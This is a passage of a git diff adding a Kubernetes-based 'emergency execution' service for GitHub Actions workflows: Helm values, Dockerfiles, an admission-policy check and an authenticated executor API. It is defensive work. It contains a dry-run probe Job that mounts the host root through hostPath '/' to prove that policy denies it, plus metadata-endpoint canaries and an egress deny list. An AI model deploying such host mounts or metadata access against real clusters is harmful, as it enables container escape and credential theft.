# Exactly as registered with the provider: https://api/emergency/auth/callback + redirectUri: "" + scopes: [openid, profile, email] + algorithms: [RS256, ES256, PS256] + # Shown on the sign-in button. + label: "" + # A confidential client's secret, from a Secret in this namespace (key below). Empty for a public client (PKCE). + clientSecret: + existingSecret: "" + key: client-secret + # Plain HTTP for the issuer: local development providers only (tools/emergency/dev-oidc.ts). + allowInsecureHttp: false + sessions: + maxHours: 8 + idleMinutes: 60 + # The first administrators, by the provider's issuer and subject (shown on the emergency view after signing in). + # Their administrator role is pinned: it can't be removed through the API. Example: + # - { issuer: "https://login.example.com", subject: "00u1abcd" } + initialAdministrators: [] + # Break-glass sign-in, for when the identity provider is unavailable: named accounts, each with its own credential + # (a key of the break-glass Secret below) and pinned roles (never administrator). Off unless accounts are listed. + # Every use needs a reason, is audited, and lasts at most sessionMinutes. Give accounts to different people: one + # can't approve its own executions. Migrating from the shared operator token: an account named operator-token + # uses the existing token as its credential. Example: + # - { name: recovery-operator, roles: [operator] } + # - { name: recovery-approver, roles: [approver] } + breakGlass: + accounts: [] + sessionMinutes: 60 + +# Which executions need an approver's decision before their Job is created (security review H2): "secrets" (it +# receives a bound Secret), "egress" (egress network mode), "restricted" (a restricted snapshot), "all". Approvals are +# bound to a digest of exactly what will run; a changed or suspended Secret binding invalidates them. +approval: + requireFor: [secrets, egress] + # The approver may be neither the initiator nor the snapshot's preparer. + separationOfDuties: true + ttlMinutes: 60 + +# The break-glass credentials Secret (formerly the shared operator token, which no longer authorizes API calls). +# Leave existingSecret empty to generate one key per break-glass account (kept across upgrades, with any existing key). +operatorToken: + existingSecret: "" + key: operator-token + +# Secret bindings (security review C1). An execution receives a Secret only through a binding, and only the keys +# its snapshot requires. Bindings name exact snapshot digests (shown on the snapshot's page), so only content an +# administrator reviewed can receive a Secret. The operator-token Secret can't be bound. Example: +# +# secretBindings: +# - name: release-demo +# secret: demo-secrets # an Opaque Secret in this namespace +# keys: [DEMO_SIGNING_KEY] # the keys it may provide +# snapshots: # snapshot digests allowed to receive them +# - 9a5c0f56a8a74a7b51e0f04d353d7e19ecc78cfc017485520b35a72083e901a0 +secretBindings: [] + +# Network isolation (security review C2). The boundary is NetworkPolicy, which only some network plugins enforce +# (e.g. Calico, Cilium; not kindnet). The executor proves enforcement with a canary before isolated executions and +# refuses them otherwise. DNS removal and GitHub hostnames pinned to 127.0.0.1 are defence in depth only. +network: + # "egress" executions may reach public addresses (not private, link-local or metadata ranges). They are NOT + # isolated and do not simulate a GitHub outage: GitHub's IP addresses are public. Off unless enabled here. + allowEgressMode: false + # Destinations egress-mode runners can never reach (cluster, node, API server, metadata and other private ranges). + egressExcludeCIDRs: + - 10.0.0.0/8 + - 172.16.0.0/12 + - 192.168.0.0/16 + - 100.64.0.0/10 + - 169.254.0.0/16 + - 127.0.0.0/8 + canary: + # An address an isolated runner must NOT reach (an internet host by IP; no DNS is involved). + externalTarget: "1.1.1.1:443" + # The cloud metadata service, which no runner may reach. + metadataTarget: "169.254.169.254:80" + # A passing check is reused for this long before the next execution re-runs it. + maxAgeSeconds: 900 + # Egress ports the executor needs to reach the Kubernetes API server. + apiServerPorts: [443, 6443, 8443] + +# Install-time checks against the live cluster (security review C1): the namespace must be dedicated to emergency +# execution and enforce Pod Security "restricted", it may hold no Secrets except the operator token, Helm's release +# records and bound Secrets, and every bound Secret must exist, be Opaque and contain its keys. They run only when +# Helm can reach the cluster (install, upgrade, --dry-run=server); "helm template" can't check anything. +clusterChecks: + enabled: true + dedicatedLabel: gha-emergency.github-actions-ui/dedicated + +service: + port: 8080 + +basePath: "" + +nodeSelector: {} +tolerations: [] diff --git a/deploy/emergency/Dockerfile b/deploy/emergency/Dockerfile new file mode 100644 index 0000000..692cb4e --- /dev/null +++ b/deploy/emergency/Dockerfile @@ -0,0 +1,59 @@ +# Images for emergency execution (docs/EMERGENCY_EXECUTION.md). Two targets from one build: +# +# executor the UI build served with the emergency API (deploy/emergency/executor/server.ts); talks only to the +# Kubernetes API, never to GitHub +# runner runs one snapshot in a Kubernetes Job (deploy/emergency/runner/main.ts): Node.js 22, bash, sh, python3 +# +# podman build --ignorefile deploy/emergency/build.dockerignore -f deploy/emergency/Dockerfile --target executor -t gha-emergency-executor:local . +# podman build --ignorefile deploy/emergency/build.dockerignore -f deploy/emergency/Dockerfile --target runner -t gha-emergency-runner:local . +# +# The TypeScript sources run directly on Node's type stripping, so the images contain exactly the reviewed source. +# Base images are pinned by version tag, as for the UI image (deploy/ui/README.md). + +FROM docker.io/library/node:22.23.4-bookworm-slim AS build +WORKDIR /src +COPY package.json package-lock.json .npmrc ./ +RUN npm ci --ignore-scripts --no-audit --no-fund +COPY . . +# The ordinary production UI build (no fixture mode), then only the files each image needs, in the repository layout. +RUN test -z "${GHA_UI_FIXTURES:-}" \ + && npm run build \ + && ! grep -rqF "__fixtures" dist \ + && mkdir -p /out/app/deploy/ui /out/app/deploy/emergency /out/app/src /out/app/node_modules \ + && cp -r dist /out/app/dist \ + && node deploy/ui/write-security-headers.ts /out/app/security-headers.json \ + && cp deploy/ui/server.mjs /out/app/deploy/ui/server.mjs \ + && cp -r deploy/emergency/executor deploy/emergency/runner /out/app/deploy/emergency/ \ + && cp -r src/emergency /out/app/src/emergency \ + && find /out/app -name "*.test.ts" -delete \ + && cp -r node_modules/yaml /out/app/node_modules/yaml \ + && printf '{"type":"module","private":true}\n' > /out/app/package.json + +FROM docker.io/library/node:22.23.4-alpine3.24 AS executor +RUN rm -rf /usr/local/lib/node_modules /usr/local/bin/npm /usr/local/bin/npx /usr/local/bin/corepack /opt/yarn-* /usr/local/bin/yarn /usr/local/bin/yarnpkg +WORKDIR /app +COPY --from=build /out/app/ /app/ +ENV NODE_ENV=production PORT=8080 GHA_UI_BASE_PATH=/ +USER 1000:1000 +EXPOSE 8080 +STOPSIGNAL SIGTERM +ENTRYPOINT ["node", "--disable-warning=ExperimentalWarning", "/app/deploy/emergency/executor/server.ts"] + +FROM docker.io/library/node:22.23.4-bookworm-slim AS runner +# python3 for Python steps and scripts (standard library only; nothing else is installed or installable offline). +RUN apt-get update \ + && apt-get install -y --no-install-recommends python3 \ + && rm -rf /var/lib/apt/lists/* \ + && rm -rf /usr/local/lib/node_modules /usr/local/bin/npm /usr/local/bin/npx /usr/local/bin/corepack /opt/yarn-* /usr/local/bin/yarn /usr/local/bin/yarnpkg +# Security review H3: an execute-only copy of node (root-owned, mode 0111) for the runner itself. Executing a binary +# the process can't read makes the kernel mark it non-dumpable, so workflow code running as the same user can't +# reach the runner through /proc (its stdout event channel, memory, environment). Workflow steps use the normal, +# readable /usr/local/bin/node. The runner refuses to start unless this protection is in effect (runner/main.ts). +RUN install -D -o root -g root -m 0111 /usr/local/bin/node /usr/local/libexec/gha-emergency-runner-node +WORKDIR /app +COPY --from=build /out/app/package.json /app/package.json +COPY --from=build /out/app/src/ /app/src/ +COPY --from=build /out/app/deploy/emergency/runner/ /app/deploy/emergency/runner/ +COPY --from=build /out/app/node_modules/ /app/node_modules/ +USER 1000:1000 +ENTRYPOINT ["/usr/local/libexec/gha-emergency-runner-node", "--disable-sigusr1", "--disable-warning=ExperimentalWarning", "/app/deploy/emergency/runner/main.ts"] diff --git a/deploy/emergency/build.dockerignore b/deploy/emergency/build.dockerignore new file mode 100644 index 0000000..9117479 --- /dev/null +++ b/deploy/emergency/build.dockerignore @@ -0,0 +1,21 @@ +# Build context for deploy/emergency/Dockerfile (passed with --ignorefile), as an allowlist like the UI's +# .dockerignore, plus the emergency sources. Private notes, docs, fixtures and examples stay out. +* +!package.json +!package-lock.json +!.npmrc +!index.html +!tsconfig.json +!vite.config.ts +!src/ +!tools/ +!tests/ +!deploy/ui/ +!deploy/emergency/ + +**/node_modules +**/.env +**/.env.* +**/*.pem +**/*.key +**/.DS_Store diff --git a/deploy/emergency/executor/admission-check.ts b/deploy/emergency/executor/admission-check.ts new file mode 100644 index 0000000..e641f42 --- /dev/null +++ b/deploy/emergency/executor/admission-check.ts @@ -0,0 +1,91 @@ +// Proof that the API server enforces the chart's runner admission policy (security review H4), before any execution. +// +// RBAC lets the executor create Jobs but can't constrain what they contain; the ValidatingAdmissionPolicy in +// charts/gha-emergency/templates/admission-policy.yaml does, independently of this code. Installed is not enforced +// (an API server without the feature, a deleted binding, a namespace outside the binding), so the executor asks the +// API server itself, with two server-side dry runs (dryRun=All: admission runs, nothing is stored or scheduled): +// - a canary-shaped Job that differs from a legitimate one only by a hostPath volume must be denied, by the policy; +// - the same Job without it must be accepted (the policy also refuses namespaces that aren't dedicated and +// "restricted", so this proves the namespace too). +// Only then is the policy "enforced". Anything else refuses executions. Dry runs need only the executor's existing +// "create jobs" permission. +import { randomBytes } from "node:crypto"; +import { buildCanaryJob } from "./job-spec.ts"; +import { KubeError, type KubeApi } from "./kube.ts"; + +export type AdmissionState = "enforced" | "not-enforced" | "unverified"; +export type AdmissionCheck = { state: AdmissionState | "never" | "checking"; checkedAt?: string; reason?: string }; + +export type AdmissionCheckConfig = { + namespace: string; + runnerImage: string; + runnerServiceAccount: string; + executorPodLabels: Record; + /** Name of the ValidatingAdmissionPolicy; its denials name it. */ + policyName: string; + maxAgeMs: number; + retryMs: number; +}; + +export const admissionProbeName = (checkId: string, kind: "denied" | "accepted") => `gha-emergency-admission-${checkId}-${kind}`; + +/** The two dry-run Jobs: identical except for the hostPath volume the policy must refuse. */ +export function admissionProbes(config: AdmissionCheckConfig, checkId: string) { + const base = { checkId, role: "probe-isolated" as const, targets: [], namespace: config.namespace, runnerImage: config.runnerImage, serviceAccountName: config.runnerServiceAccount, executorPodLabels: config.executorPodLabels }; + const accepted = buildCanaryJob(base); + accepted.metadata.name = admissionProbeName(checkId, "accepted"); + const denied = buildCanaryJob(base); + denied.metadata.name = admissionProbeName(checkId, "denied"); + (denied.spec.template.spec.volumes as object[]).push({ name: "host", hostPath: { path: "/" } }); + return { accepted, denied }; +} + +export function createAdmissionCheck(deps: { kube: KubeApi; config: AdmissionCheckConfig; now?: () => Date; log?: (e: Record) => void }) { + const { kube, config } = deps; + const now = deps.now ?? (() => new Date()); + const log = deps.log ?? (() => {}); + let current: AdmissionCheck = { state: "never" }; + let running: Promise | null = null; + + const fresh = () => current.checkedAt !== undefined && now().getTime() - Date.parse(current.checkedAt) < (current.state === "enforced" ? config.maxAgeMs : config.retryMs); + const byPolicy = (e: unknown) => e instanceof KubeError && (e.status === 403 || e.status === 422) && e.message.includes(`ValidatingAdmissionPolicy '${config.policyName}'`); + + async function check(): Promise { + current = { ...current, state: "checking" }; + const { accepted, denied } = admissionProbes(config, randomBytes(4).toString("hex")); + let result: AdmissionCheck; + let deniedError: unknown; + try { + await kube.createJob(denied, { dryRun: true }); + } catch (error) { + deniedError = error; + } + if (deniedError === undefined) result = { state: "not-enforced", reason: `The API server accepted a runner Job with a hostPath volume: the admission policy ${config.policyName} is not enforced in namespace ${config.namespace}` }; + else if (!byPolicy(deniedError)) result = { state: "unverified", reason: `A runner Job with a hostPath volume was refused, but not by the admission policy ${config.policyName}: ${(deniedError as Error).message}` }; + else { + try { + await kube.createJob(accepted, { dryRun: true }); + result = { state: "enforced", reason: `The admission policy ${config.policyName} refused a runner Job with a hostPath volume and accepted the legitimate one` }; + } catch (error) { + result = { state: "unverified", reason: `The API server refused a legitimate runner Job: ${(error as Error).message}` }; + } + } + current = { ...result, checkedAt: now().toISOString() }; + log({ action: "admission-check", state: current.state, reason: current.reason }); + return current; + } + + return { + status: (): AdmissionCheck => current, + run(): Promise { + if (!running) running = check().finally(() => (running = null)); + return running; + }, + async ensureFresh(): Promise { + if (fresh() && current.state !== "checking") return current; + return this.run(); + }, + }; +} + +export type AdmissionChecker = ReturnType; diff --git a/deploy/emergency/executor/api.ts b/deploy/emergency/executor/api.ts new file mode 100644 index 0000000..5d0ae8e --- /dev/null +++ b/deploy/emergency/executor/api.ts @@ -0,0 +1,768 @@ +// The executor's HTTP API under api/emergency/, used by the UI's emergency view (same origin, so the app's CSP +// needs no change). The executor never contacts GitHub, never reads Kubernetes Secrets and never receives secret +// values: an execution names a Secret, which only the runner pod mounts. +// +// Security review H2: every operation except health and sign-in needs a session (auth/store.ts), established by +// signing in with the configured OpenID Connect provider (auth/oidc.ts) or, when enabled, a break-glass account. The +// session token is an HttpOnly, Secure, SameSite=Strict cookie the page's JavaScript can't read; every API request +// must also carry the header X-GHA-Emergency: 1, which another origin can't send without a CORS grant (there is none). +// Each operation needs a permission (auth/roles.ts), checked here, server-side, on every request; refusals are +// audited. Resources carry the identities that acted on them, and restricted snapshots and their executions are +// visible only to their preparer, approvers and administrators (others get 404, as for an unknown ID). +// +// GET health { available, signIn } (no session) +// GET auth/login?return=#/emergency… redirect to the identity provider (no session) +// GET auth/callback the provider's redirect back (no session) +// POST auth/break-glass { account, credential, reason } (no session; when enabled) +// GET auth/session who you are, your roles and permissions +// POST auth/logout +// GET snapshots snapshots.read (restricted ones only where visible) +// POST snapshots snapshots.create { manifest, contents, visibility? } → stored write-once +// GET snapshots/{id} snapshots.read +// POST snapshots/{id}/verify snapshots.verify +// DELETE snapshots/{id} snapshots.delete-own (preparer) or snapshots.delete-any +// GET executions executions.read +// POST executions executions.create { snapshotId, workflow, inputs, variables, network } +// GET executions/{id} executions.read: status, jobs, steps, logs, outputs, attribution +// POST executions/{id}/approve executions.approve { decision, requestDigest, comment } +// POST executions/{id}/start executions.create (its initiator): start an approved execution +// DELETE executions/{id} executions.cancel-own (initiator) or executions.cancel-any +// GET network-check, admission-check checks.read; POST: checks.run +// GET admin/users admin.users +// PUT admin/users/{id}/roles admin.users { roles } (never your own) +// POST admin/users/{id}/disable|enable admin.users (never your own) +// POST admin/users/{id}/revoke-sessions admin.sessions +// GET admin/bindings admin.bindings; PUT admin/bindings/{name} { suspended, reason } +// GET admin/audit admin.audit +// +// Secrets (security review C1): the Secret and the keys an execution receives come from the snapshot's binding +// (bindings.ts), keyed by snapshot digest and written by a cluster administrator; a request can't choose them. +// Network (C2): isolated executions run only after the canary has proved that NetworkPolicy is enforced. +// Admission (H4): no Job is created until the API server has proved it enforces the runner admission policy. +// Approval (H2): executions the configured policy marks as sensitive (by default: those that receive a Secret, or +// run in egress mode) wait for an approver's decision, bound to a digest of exactly what will run; any change to +// the snapshot's Secret binding invalidates it. +import { createHash, randomBytes } from "node:crypto"; +import { judgeExecution, type EventVerification } from "../../../src/emergency/event-stream.ts"; +import type { ExecutionView } from "../../../src/emergency/events.ts"; +import type { Actor, SnapshotBundle, SnapshotRecord, Visibility } from "../../../src/emergency/snapshot.ts"; +import type { AdmissionChecker } from "./admission-check.ts"; +import type { AuditLog } from "./audit.ts"; +import type { IdentityProvider } from "./auth/oidc.ts"; +import { isRole, permissionsOf, ROLES, type Permission, type Role } from "./auth/roles.ts"; +import { USER_ID, type AuthStore, type Principal } from "./auth/store.ts"; +import { bindingFor, type BindingState, type SecretBinding } from "./bindings.ts"; +import { buildJob, EXECUTION_LABEL, jobName, RUNNER_CONTAINER, type NetworkMode } from "./job-spec.ts"; +import type { KubeApi, K8sJob } from "./kube.ts"; +import type { NetworkChecker } from "./network-check.ts"; +import type { ExecutionMeta, Store } from "./store.ts"; + +export type ApprovalTrigger = "secrets" | "egress" | "restricted" | "all"; +export type ApprovalPolicy = { + /** Which executions need approval: those receiving a Secret, in egress mode, of a restricted snapshot, or all. */ + requireFor: ApprovalTrigger[]; + /** The approver may be neither the initiator nor the snapshot's preparer. */ + separationOfDuties: boolean; + /** How long a request waits for a decision, and an approval stays usable. */ + ttlMinutes: number; +}; + +export type ExecutorConfig = { + namespace: string; + runnerImage: string; + pvcName: string; + runnerServiceAccount: string; + executorPodLabels: Record; + resources: { cpu: string; memory: string; scratch: string }; + maxMinutes: number; + maxConcurrent: number; + ttlSecondsAfterFinished: number; + /** The Secret that holds break-glass credentials (formerly the operator token): never mountable by an execution. */ + operatorSecret: string; + /** Egress mode (not isolated) is off unless an administrator enables it. */ + allowEgress: boolean; + approval: ApprovalPolicy; + /** Where the UI is served ("/" or "/sub/"): sign-in redirects back there. */ + uiBasePath: string; +}; + +export type ApiRequest = { method: string; path: string; query?: URLSearchParams; headers: Record; body?: Buffer }; +export type ApiResponse = { status: number; body?: unknown; headers?: Record }; + +export const MAX_SNAPSHOT_BODY = 64 * 1024 * 1024; +export const MAX_SMALL_BODY = 64 * 1024; +export const SESSION_COOKIE = "__Host-gha-emergency-session"; +export const LOGIN_COOKIE = "__Host-gha-emergency-login"; +export const CSRF_HEADER = "x-gha-emergency"; +const K8S_NAME = /^[a-z0-9]([-a-z0-9]*[a-z0-9])?$/; +const VAR_NAME = /^[A-Za-z_][A-Za-z0-9_]*$/; +const RETURN_TO = /^#\/emergency(\/[A-Za-z0-9/_-]*)?$/; + +export type ExecutionStatus = { + meta: ExecutionMeta; + job: { state: "pending" | "running" | "succeeded" | "failed" | "missing" | "not-started"; reason?: string }; + view: ExecutionView; +}; + +export function cookies(header: string | undefined): Record { + const out: Record = {}; + for (const part of (header ?? "").split(";")) { + const i = part.indexOf("="); + if (i > 0) out[part.slice(0, i).trim()] = part.slice(i + 1).trim(); + } + return out; +} +const setCookie = (name: string, value: string, opts: { maxAge?: number; sameSite: "Strict" | "Lax" }) => + `${name}=${value}; Path=/; Secure; HttpOnly; SameSite=${opts.sameSite}${opts.maxAge !== undefined ? `; Max-Age=${opts.maxAge}` : ""}`; + +const sortObject = (o: Record) => Object.fromEntries(Object.entries(o).sort(([a], [b]) => a.localeCompare(b))); + +/** The digest an approval is bound to: exactly what the execution will run, with which Secret keys, for whom. */ +export function requestDigest(r: { id: string; snapshotId: string; workflow: string; inputs: Record; variables: Record; network: string; secret?: { binding: string; name: string; keys: string[] }; initiatedBy: string }): string { + const canonical = JSON.stringify({ + execution: r.id, + snapshot: r.snapshotId, + workflow: r.workflow, + inputs: sortObject(r.inputs), + variables: sortObject(r.variables), + network: r.network, + secret: r.secret ? { binding: r.secret.binding, name: r.secret.name, keys: [...r.secret.keys].sort() } : null, + initiatedBy: r.initiatedBy, + }); + return createHash("sha256").update(canonical).digest("hex"); +} + +export function createApi(deps: { + store: Store; + kube: KubeApi; + config: ExecutorConfig; + network: NetworkChecker; + /** Proof that the API server enforces the runner admission policy (security review H4). */ + admission: AdmissionChecker; + /** Current Secret bindings (read for every request, so ConfigMap updates apply without a restart). */ + loadBindings: () => { bindings: SecretBinding[]; problems: string[] }; + bindingState: BindingState; + auth: { store: AuthStore; provider?: IdentityProvider; breakGlass: boolean }; + audit: AuditLog; + now?: () => Date; +}) { + const { store, kube, config, network: networkCheck, admission, audit } = deps; + const users = deps.auth.store; + const now = deps.now ?? (() => new Date()); + const json = (status: number, body: unknown, headers?: ApiResponse["headers"]): ApiResponse => ({ status, body, headers }); + const err = (status: number, message: string, details?: unknown): ApiResponse => json(status, { error: message, ...(details ? { details } : {}) }); + const redirect = (location: string, setCookies: string[] = []): ApiResponse => ({ status: 302, headers: { Location: location, "Set-Cookie": setCookies } }); + const actor = (p: Principal): Actor => ({ id: p.user.id, name: p.user.name }); + const uiUrl = (fragment: string) => `${config.uiBasePath}${fragment}`; + + const parseJson = (r: ApiRequest): unknown => { + if (!/^application\/json\b/i.test(r.headers["content-type"] ?? "")) throw new RequestError(415, "Content-Type must be application/json"); + try { + return JSON.parse(r.body?.toString("utf8") ?? ""); + } catch { + throw new RequestError(400, "Body is not valid JSON"); + } + }; + + // ---- authorization ---------------------------------------------------------------------------------------------- + + const has = (p: Principal, perm: Permission) => permissionsOf(p.roles).has(perm); + const hasRole = (p: Principal, ...roles: Role[]) => roles.some((r) => p.roles.includes(r)); + /** A refusal, audited with who asked for what. */ + const denied = (p: Principal | undefined, action: string, reason: string, status = 403, target?: Record): ApiResponse => { + audit.write({ action: "authorization-denied", attempted: action, by: p ? actor(p) : null, reason, ...(target ?? {}) }); + return err(status, status === 401 ? "Sign-in required" : "Not permitted", [reason]); + }; + const need = (p: Principal, perm: Permission, action: string, target?: Record): ApiResponse | null => (has(p, perm) ? null : denied(p, action, `This needs the ${perm} permission, which your roles (${p.roles.join(", ") || "none"}) don't grant`, 403, target)); + + const snapshotVisible = (p: Principal, r: Pick) => r.visibility !== "restricted" || r.preparedBy?.id === p.user.id || hasRole(p, "approver", "administrator"); + const executionVisible = (p: Principal, m: ExecutionMeta) => m.visibility !== "restricted" || m.initiatedBy?.id === p.user.id || m.preparedBy?.id === p.user.id || hasRole(p, "approver", "administrator"); + + // ---- Secret bindings -------------------------------------------------------------------------------------------- + + function secretBindingFor(snapshotId: string): { binding?: SecretBinding; problem?: string } { + const { bindings, problems } = deps.loadBindings(); + if (problems.length) return { problem: `Secret bindings are invalid, so none apply: ${problems.join("; ")}` }; + const found = bindingFor(bindings, snapshotId); + if (found.binding && deps.bindingState.suspended(found.binding.name)) return { problem: `The Secret binding ${found.binding.name} is suspended by an administrator` }; + return found; + } + + /** The Secret an execution of this snapshot receives now, or why it can't. */ + function resolveSecret(snapshotId: string, required: string[]): { secret?: { binding: string; name: string; keys: string[] }; problem?: string } { + if (!required.length) return {}; + const { binding, problem } = secretBindingFor(snapshotId); + if (problem) return { problem }; + if (!binding) return { problem: `No Secret is bound to this snapshot. A cluster administrator must bind a Secret with ${required.join(", ")} to digest ${snapshotId} (chart value secretBindings)` }; + if (binding.secret === config.operatorSecret || !K8S_NAME.test(binding.secret)) return { problem: "The bound Secret is not allowed" }; + const missing = required.filter((k) => !binding.keys.includes(k)); + if (missing.length) return { problem: `The binding ${binding.name} does not permit ${missing.join(", ")}` }; + return { secret: { binding: binding.name, name: binding.secret, keys: required } }; + } + + // ---- execution status ------------------------------------------------------------------------------------------- + + const networkView = () => ({ ...networkCheck.status(), allowEgress: config.allowEgress }); + const verification = (meta: ExecutionMeta): EventVerification => { + const key = store.eventKey(meta.id); + if (key) return { kind: "hmac", key }; + return meta.eventAuth === "ed25519" ? { kind: "ed25519", execution: meta.id } : { kind: "legacy" }; + }; + const stateOf = (meta: ExecutionMeta) => meta.state ?? "started"; + + async function status(meta: ExecutionMeta): Promise { + const st = stateOf(meta); + if (st !== "started") { + const view: ExecutionView = { status: st === "awaiting-approval" || st === "approved" ? "pending" : "cancelled", network: [], jobs: [], logs: [], annotations: [], outputs: {} }; + const why: Record = { + "awaiting-approval": "Waiting for an approver", + approved: "Approved; not started yet", + rejected: `Rejected by ${meta.approval?.decidedBy?.name ?? "an approver"}`, + cancelled: "Cancelled before it started", + invalidated: "The approval request was invalidated", + }; + view.reason = meta.decisions?.at(-1)?.reason && st === "invalidated" ? meta.decisions.at(-1)!.reason : why[st]; + return { meta, job: { state: "not-started", reason: view.reason }, view }; + } + const archived = store.archivedLog(meta.id); + if (archived !== undefined) { + const exitCode = store.archivedExitCode(meta.id); + const view = await judgeExecution(archived, verification(meta), exitCode, true); + return { meta, job: { state: exitCode === undefined ? (view.status === "success" ? "succeeded" : "failed") : exitCode === 0 ? "succeeded" : "failed", reason: view.reason }, view }; + } + const job = await kube.getJob(jobName(meta.id)); + const pods = job ? await kube.listPods(`${EXECUTION_LABEL}=${meta.id}`) : []; + const pod = pods[0]; + let text = ""; + let logError: string | undefined; + if (pod && pod.status?.phase !== "Pending") { + try { + text = await kube.podLog(pod.metadata.name, RUNNER_CONTAINER); + } catch (error) { + logError = `Runner log unavailable: ${(error as Error).message}`; + } + } + const exitCode = pod?.status?.containerStatuses?.find((c) => c.name === RUNNER_CONTAINER)?.state?.terminated?.exitCode; + const doneState = jobState(job).state; + // An unreadable log is not an empty one: it is reported as unreadable, below. + const view = await judgeExecution(text, verification(meta), exitCode, (doneState === "succeeded" || doneState === "failed") && !logError); + // A pod that can't start (a missing Secret, an image that can't be pulled) says why only in its events. + let warning: string | undefined; + if (pod && pod.status?.phase === "Pending") { + try { + warning = (await kube.podWarnings(pod.metadata.name)).at(-1); + } catch { + warning = undefined; + } + } + const waiting = pod?.status?.containerStatuses?.find((c) => c.name === RUNNER_CONTAINER)?.state?.waiting; + const state = jobState(job); + let reason = state.reason ?? logError ?? (warning && `Pod not started: ${warning}`); + if (waiting?.reason && waiting.reason !== "ContainerCreating" && waiting.reason !== "PodInitializing") reason = `${waiting.reason}${waiting.message ? `: ${waiting.message}` : ""}`; + if ((state.state === "succeeded" || state.state === "failed") && text) store.archiveLog(meta.id, text, exitCode); + const finished = state.state === "failed" || state.state === "succeeded"; + if (finished && (view.status === "pending" || view.status === "running")) { + view.status = "error"; + view.reason = reason ?? (state.state === "failed" ? "The Job failed before the runner reported a result" : "The Job finished, but the runner's result could not be read"); + } else if (logError && !view.reason) view.reason = logError; + if (!job && view.status === "pending") { + view.status = "error"; + view.reason = "The Job no longer exists and no result was archived"; + } + return { meta, job: { ...state, reason }, view }; + } + + // ---- starting an execution -------------------------------------------------------------------------------------- + + const decide = (meta: ExecutionMeta, by: Actor, decision: string, reason: string): ExecutionMeta => ({ ...meta, decisions: [...(meta.decisions ?? []), { at: now().toISOString(), by, decision, reason }] }); + + /** Re-derives what the execution would run now; any difference from the approved request invalidates it. */ + async function currentDigest(meta: ExecutionMeta): Promise<{ digest?: string; problem?: string }> { + const s = await store.checked(meta.snapshotId); + if (!s) return { problem: "The snapshot no longer exists" }; + if (Date.parse(s.record.expiresAt) <= now().getTime()) return { problem: "The snapshot has expired" }; + if (!s.record.executable) return { problem: "The snapshot is not executable" }; + const resolved = resolveSecret(meta.snapshotId, s.manifest.requirements.secrets.map((x) => x.name)); + if (resolved.problem) return { problem: resolved.problem }; + return { digest: requestDigest({ id: meta.id, snapshotId: meta.snapshotId, workflow: meta.workflow, inputs: meta.inputs, variables: meta.variables, network: meta.network, secret: resolved.secret, initiatedBy: meta.initiatedBy!.id }) }; + } + + /** Runs the cluster checks and creates the Job. The execution's request was validated and authorized before. */ + async function start(meta: ExecutionMeta, by: Actor): Promise { + const s = await store.checked(meta.snapshotId); + if (!s) return err(404, "No such snapshot"); + const resolved = resolveSecret(meta.snapshotId, s.manifest.requirements.secrets.map((x) => x.name)); + if (resolved.problem) return err(422, "Execution rejected", [resolved.problem]); + const network = meta.network as NetworkMode; + // H4: the Job's contents are constrained by the API server, not only by buildJob; refuse until that is proven. + const admitted = await admission.ensureFresh(); + if (admitted.state !== "enforced") return err(409, "Execution refused: the cluster does not enforce the runner admission policy", [admitted.reason ?? admitted.state]); + const check = await networkCheck.ensureFresh(); + const verdict = network === "isolated" ? { state: check.state, reason: check.reason } : (check.egress ?? { state: "unverified", reason: "The egress network check has not run" }); + if (verdict.state !== "enforced") { + return err(409, network === "isolated" ? "Isolated execution refused: network isolation is not proven" : "Egress execution refused: blocking of internal and metadata addresses is not proven", [verdict.reason ?? verdict.state]); + } + const integrity = await store.verifyStored(meta.snapshotId, now()); + if (integrity.length) return err(409, "Stored snapshot failed verification", integrity.map((p) => p.message)); + let running = 0; + for (const other of store.listExecutions().slice(0, 50)) { + if (stateOf(other) !== "started" || store.archivedLog(other.id) !== undefined) continue; + const st = jobState(await kube.getJob(jobName(other.id))).state; + if (st === "running" || st === "pending") running++; + } + if (running >= config.maxConcurrent) return err(429, `${running} executions are already running (limit ${config.maxConcurrent})`); + + const secret = resolved.secret ? { name: resolved.secret.name, keys: resolved.secret.keys } : undefined; + const started: ExecutionMeta = decide({ ...meta, state: "started", startedAt: now().toISOString(), secretName: secret?.name, secretKeys: secret?.keys, isolation: { state: verdict.state, checkedAt: check.checkedAt, reason: verdict.reason }, eventAuth: "ed25519" }, by, "started", meta.approval ? "Approved; cluster checks passed" : "No approval required; cluster checks passed"); + const job = buildJob({ + executionId: meta.id, + snapshotId: meta.snapshotId, + snapshotName: meta.snapshotName, + snapshotVersion: meta.snapshotVersion, + workflow: meta.workflow, + inputs: meta.inputs, + variables: meta.variables, + secret, + network, + namespace: config.namespace, + runnerImage: config.runnerImage, + pvcName: config.pvcName, + snapshotSubPath: store.subPath(meta.snapshotId), + serviceAccountName: config.runnerServiceAccount, + executorPodLabels: config.executorPodLabels, + resources: config.resources, + maxMinutes: config.maxMinutes, + ttlSecondsAfterFinished: config.ttlSecondsAfterFinished, + }); + store.saveExecution(started); + await kube.createJob(job); + audit.write({ action: "execution-started", execution: meta.id, by, snapshot: meta.snapshotId, workflow: meta.workflow, initiatedBy: meta.initiatedBy, approvedBy: meta.approval?.decidedBy ?? null, secret: secret?.name ?? null, secretKeys: secret?.keys ?? [], network, isolation: verdict.state, inputs: Object.keys(meta.inputs) }); + return json(201, { execution: started }); + } + + // ---- handlers --------------------------------------------------------------------------------------------------- + + const handlers = { + async listSnapshots(p: Principal) { + return json(200, { snapshots: (await store.listChecked(now())).filter((r) => snapshotVisible(p, r)) }); + }, + async putSnapshot(p: Principal, r: ApiRequest) { + const body = parseJson(r) as SnapshotBundle & { visibility?: unknown }; + if (body.visibility !== undefined && body.visibility !== "shared" && body.visibility !== "restricted") return err(422, "Snapshot rejected", ['visibility must be "shared" or "restricted"']); + const visibility: Visibility = body.visibility ?? "shared"; + const result = await store.put({ manifest: body.manifest, contents: body.contents }, now(), { preparedBy: actor(p), visibility }); + if (!result.record) return err(422, "Snapshot rejected", result.problems); + // The same content stored before: its record (and preparer) stand; it is shown only to who may see it. + if (!result.created && !snapshotVisible(p, result.record)) return err(409, "This content is already stored as a restricted snapshot prepared by someone else"); + audit.write({ action: result.created ? "snapshot-stored" : "snapshot-exists", by: actor(p), snapshot: result.record.id, name: result.record.name, version: result.record.version, visibility: result.record.visibility ?? "shared", source: result.record.source }); + return json(result.created ? 201 : 200, { snapshot: result.record, created: result.created }); + }, + async getSnapshot(p: Principal, id: string) { + const s = await store.checked(id); + if (!s || !snapshotVisible(p, s.record)) return err(404, "No such snapshot"); + const { binding, problem } = secretBindingFor(id); + return json(200, { ...s, secretBinding: binding ? { 